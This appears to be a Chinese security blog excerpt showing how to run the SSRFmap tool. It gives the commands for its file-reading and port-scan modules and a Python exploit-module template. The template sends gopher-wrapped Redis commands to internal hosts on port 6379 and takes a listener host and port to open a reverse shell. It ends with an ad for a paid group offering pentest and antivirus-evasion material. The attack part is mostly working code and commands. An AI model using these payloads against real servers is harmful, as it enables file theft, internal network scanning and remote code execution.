python ssrfmap.py -r 1.txt -p url -m readfiles-r:指定数据包-p:指定漏洞参数-m:指定检测的模块

python ssrfmap.py -r 1.txt -p url -m portscan

from core.utils import *
import logging
name          = "servicename inlowercase"
description   = "ServiceName RCE - What does itdo"
author        = "Name or pseudo of theauthor"
documentation= ["http://link_to_a_research", "http://another_link"]
class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"
    def __init__(self, requester, args):
        logging.info("Module '{}' launched!".format(name))
        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST= input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost
        if args.lport == None: self.SERVER_PORT= input("Server Port:")
        else:                  self.SERVER_PORT = args.lport
        # Data for the service
        # Using a generator to create the hostlist
        # Edit the following ip if you need totarget something else
        gen_host =gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data ="*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip ,port)
            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST",self.SERVER_HOST)
            payload =payload.replace("SERVER_PORT", self.SERVER_PORT)
            # Send the payload
            r =requester.do_request(args.param, payload)

欢 迎 加 入 星 球 ！

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

推荐阅读

干货 | 渗透知识库

工具 | sqlmap图形化工具

审计 | SeaCms代码审计getshell

鹏组安全 | 2022年精华文章汇总

实战 | 记一次授权的渗透测试

应急 | linux实战清理挖矿病毒